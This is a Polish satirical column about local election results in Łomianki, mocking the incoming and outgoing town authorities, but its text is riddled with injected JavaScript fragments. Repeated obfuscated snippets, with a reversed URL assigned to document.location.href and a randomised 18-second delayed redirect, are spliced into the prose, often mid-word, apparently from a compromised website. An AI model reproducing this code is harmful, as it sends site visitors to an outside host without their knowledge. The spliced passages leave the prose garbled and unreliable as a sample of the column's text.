Łomianki z przymrużeniem oka

  • Wybory, wybory i po wyborach. I masz babo placek… Co tu pisać? Podśmiewać się z pokonanych nie wypada, a podgryzać zwycięzców jeszcze nie ma za co. Chociaż…. potoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobno trochę toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zawsze można, a nawet wypada.
  • Zacząć trzeba od „Naszych”, na przykład od naszego redakcyjnego kolegi, który przez ostatnich kilka lat toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doczekał się ciekawych ksywek. Najpierw był „człowiekiem z wędką”, bo pisząc sprawozdania z sesji Rady Miejskiej nagrywał obrady podtykając przerażonym mówcom mikrofon umieszczony na końcu… wędki. Później, podczas kampanii wyborczej, zyskał miano „człowieka z megafonem”, bo jeździł po mieście samochodem z megafonem na dachu i zachęcał toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do głosowania na swój komitet. A teraz został „człowiekiem z mtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andatem”… radnego!
  • Chodzą po mieście złośliwe plotki, że teraz coroczna nagroda burmistrza nie będzie się nazywać „Łomiankowski Sokół”, tylko „Łomiankowska Pszczoła”… A co? Pszczółka pożyteczne stworzenie.
  • No nie! Nie wytrzymam… i ustępującą władzunię też muszę podgryźć, bo tematy same się pod pióro cisną. A tacy byli pewni… Tyle pracy włożyli… Bo toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to i okręgi wyborcze pozmieniali tak, aby swoim było łatwiej, i referendum wymyślili, aby ludzie poćwiczyli, kogo mają wybrać w drugiej turze. A tu klops! Nie ma drugiej tury i trzeba się pakować. W urzędzie lekka panika, jedni rozglądają się za nową fuchą (nie piszę pracą, bo ci, co naprawdę coś robili, nie muszą się chyba martwić) inni robią zapasy wazeliny… Ot, samo życie.
  • Następnego dnia po wyborach miałem straszny sen. Jest marzec 2007 roku. Budżet gminy przygotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towany przez nowe władze trafia toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do Regionalnej Izby Obrachunkowej. Po wyciągnięciu spod dywanu wszystkich długów okazało się, że jest tego grubo ponad przewidziane przepisami 60% całego budżetu. Na wniosek wojewody premier odwołuje władze i ustanawia komisarza. A kogo może pan premier obdarzyć zaufaniem, jak nie lokalnych działaczy PIS…, którzy, jak powszechnie wiatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domo, są lekarstwem na całe zło i gwarantują skuteczne wyjście z wszelkich problemów z bólem głowy i tyfusem włącznie. Obudziłem się zlany zimnym potem. Uff! To był tylko zły sen.

Zgryźliwiec

js Opublikowane przez:

Bądź pierwszą osobą, która zostawi swój komentarz

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *